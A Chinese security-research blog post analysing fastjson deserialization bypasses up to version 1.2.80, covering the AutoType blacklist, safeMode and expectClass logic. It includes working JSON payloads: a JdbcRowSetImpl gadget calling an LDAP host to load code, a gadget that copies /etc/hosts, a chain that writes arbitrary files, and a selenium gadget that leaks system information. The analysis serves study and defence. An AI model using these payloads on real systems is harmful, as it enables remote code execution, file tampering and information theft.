从漏洞挖掘角度分析fastjson1.2.80 Bypass

admin 2022年5月24日09:27:28评论6 views字数 4453阅读14分50秒阅读模式

1 概念澄清

  首先对漏洞原理和其中的两个配置做个简单的澄清:

1.1 关于parse(Object)

 Fastjson中parse方法或者parseObject可以将JSON串转化成Java对象,json数据外部可控的情况下可能出现fastjson反序列化漏洞。

 

1.2 关于AutoType

1)什么是AutoType?

   Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。

   划重点,autotype是为了灵活性而产生的一个特性,通过AutoTypeSupport配置开启。

2)AutoType安全校验

  AutoType本身是个正常的业务功能,但如果通过“@type”指定的是不可靠第三方Type类,就可能产生安全风险(自动调用get/set方法/构造方法)。

  因此开发者添加了AutoType的黑名单机制,将这些可能产生危害的恶意类统统加入黑名单。

  体现在代码中,就是在ParserConfig类中定义了一个denyHashCodes列表,将存在风险的Class的Hash值保存在其中,每次有新的恶意类出现,官方就“亡羊补牢”,将它们添加到这个黑名单列表里,这也是为什么fastjson频繁修复漏洞的原因。

从漏洞挖掘角度分析fastjson1.2.80 Bypass

   维护了这样一个黑名单列表,在每次执行反序列化前,代码都会先走到方法checkAutoType中,执行检查操作:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  计算反序列化类的Hash,如果在denyHashCodes里,就抛出异常"autoType is not support. "

  至于为什么要用Hash列表的方式,原本这里使用的是明文黑名单,后来为了防止安全研究者直接看到黑名单对其进行研究改为Hash了,但仍可以通过彩虹表碰撞的方式得到这些hash代表的是哪些类:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

1.3 关于SafeMode

   Fastjson在1.2.68及之后的版本中引入了safeMode,这是一个纯粹的防护手段

  开启safeMode = 不支持autoType = 不允许使用@type = 无法反序列化成任意类。

  这个配置从根本上消灭了fastjson反序列化漏洞,从代码也可以看出,只要safemode为true,会直接抛异常,任何绕过的机会都不给。

 所以开启了safeMode就一定不存在fastjson反序列化漏洞。

从漏洞挖掘角度分析fastjson1.2.80 Bypass

2 漏洞历史总结

 不深入技术细节,对fastjson反序列化漏洞做个简单的总结。

2.1  Fastjson1.2.47

  在47版本之前,基本是对于checkAutoType中黑名单的绕过和修补,后续AutoType改为默认关闭,因此漏洞利用就有了一个前提条件:需开启AutoTypeSupport,具体细节可参考:

   https://paper.seebug.org/1192

 直到1.2.47版本,出现了新的利用姿势,无需开启AutoTypeSupport也可利用。

 利用过程分两段,通过白名单java.lang.Class,先将目标类加载到Map中缓存,后面加载恶意类时可以直接从这个mappings中取出,从而“另辟蹊径”,完全绕过checkAutoType。

{
    "rand1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "rand2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Object", 
        "autoCommit": true
    }
}

  在48版本,禁止了cache的使用,java.lang.Class也被加入了黑名单,这个绕过方法就完全被堵死了,但一定程度上启发了后续68和80版本的绕过思路。

2.1  Fastjson1.2.68

 48到68之间版本,依旧是不断的发现新gadget和添加黑名单类,同样需要开启AutoTypeSupport。

  到1.2.68版本,再次出现了在autoType关闭的情况下绕过checkAutoType检测的绕过方法,思路和47版本不同,但依旧是与checkAutoType内部逻辑做对抗。

 绕过逻辑集中在期望类expectClass中,首先expectClassFlag校验通过前提是传入的expectClass不为空:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  且期望类不在黑名单中,同时在缓存集合mappings中,满足这几个条件即可实现绕过:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  一般情况下expectClass默认为null,查找传入的参数expectClass不为空的引用,有两个:

  • JavaBeanDeserializer
  • ThrowableDeserializer

1)JavaBeanDeserializer

   这是68版本绕过使用的gadget,即java.lang.AutoCloseable作为expectClass,AutoCloseable子类持有文件句柄或者socket句柄,是很多类型的父接口,因此可以找到实现文件读取或写入的gadget。

从漏洞挖掘角度分析fastjson1.2.80 Bypass

 使用payload运行并下断点,查看堆栈,在DefaultJSONParser#parseObject中调用JavaBeanDeserializer#deserialze执行反序列化动作:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  JavaBeanDeserializer是在this.config.getDeserializer被创建的:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  跟进,具体逻辑在createJavaBeanDeserializer中:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  跟进到JavaBeanInfo.build,这个方法通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

   同时也看到这里调用的反序列化器是默认的JavaBeanDeserializer:从漏洞挖掘角度分析fastjson1.2.80 Bypass

  剩下的就是找AutoCloseable的实现子类,并实现一些恶意利用,比如文件拷贝:

{ 
  '@type':"java.lang.AutoCloseable",
  '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
  'targetPath':'/Users/fa1c0n/tmp/hosts.txt',
  'tempPath':'/etc/hosts'
  }

  或者任意写文件:

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "D:/test/pwn.txt",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

 运行结果,成功写入文件:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

   解释一下payload:MarshalOutputStream——>继承ObjectOutputStream——>继承ObjectOutput——>继承AutoCloseable,满足前置条件:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  最外层通过AutoCloseable绕过检测,调用MarshalOutputStream调用构造方法:

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
            ...
    },
    "protocolVersion": 1
}

  第二层,寻找OutputStream子类 ——>FilterOutputStream子类——>InflaterOutputStream:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  默认调用参数最多的构造方法:

"@type": "java.util.zip.InflaterOutputStream",
        "out": {
             ...
        },
        "infl": {
             ...
        },
        "bufLen": "100"

  继续跟Inflater和out,其中Inflater存在public的set方法:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  这里input可控,即写入文件内容可控:

"infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },

 最后继续找OutputStream的一个子类,使用FileOutputStream:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  这样就控制了文件名:

"out": {
           "@type": "java.io.FileOutputStream",
           "file": "/D:/test/pwn.txt",
           "append": true
        },

2)ThrowableDeserializer

 这次利用链使用的则是另外一个gadget:ThrowableDeserializer,实际上早在2020年这条利用链就已经公开,只是没有发现有效的三方依赖作为gadget,没有被官方修复,具体原理文章已经讲得很清楚:

 https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ

  文章里提供了一个回显情况下的信息泄露gadget,引入selenium依赖,使用下述payload:

{
    "x":
  {
    "@type":"java.lang.Exception",
     "@type":"org.openqa.selenium.WebDriverException"
  },
 "y":{
    "$ref":"$x.systemInformation"
    }
}

  下断点跟踪,调用反序列化器ThrowableDeserializer:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  即可获取系统信息,包括IP、系统框架、JDK版本等:

从漏洞挖掘角度分析fastjson1.2.80 Bypass

   进入这个三方依赖代码看下这个payload为什么可行:

  • 继承Exception
  • 存在getSystemInformation()方法,可获取系统信息

从漏洞挖掘角度分析fastjson1.2.80 Bypass

  其他利用链的挖掘方法同上面的AutoCloseable一样,是个体力活,尝试跟了几个类,没有找到可用类,坐等poc

从漏洞挖掘角度分析fastjson1.2.80 Bypass

 

3 利用链挖掘

 查看官方安全更新,确实是将另一条利用链Throwable直接禁用,同时在黑名单内新增了25个类,那存在RCE的gadget就在其中了,按照上面的逻辑依次找就行,。

  说起来容易挖起来难,为了节省时间可以写个CodeQL查询脚本,到LGTM平台的依赖库项目在线跑一遍,脚本逻辑为:

  • source:寻找可利用类,继承Exception类,且存在合适的get/set/构造方法:
  • sink:调用危险方法,如文件读写、信息泄露、JNDI注入等。

    留个坑,后面另开一篇。

 

原文始发于微信公众号(卓文见识):从漏洞挖掘角度分析fastjson1.2.80 Bypass

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月24日09:27:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从漏洞挖掘角度分析fastjson1.2.80 Bypasshttps://cn-sec.com/archives/1789117.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息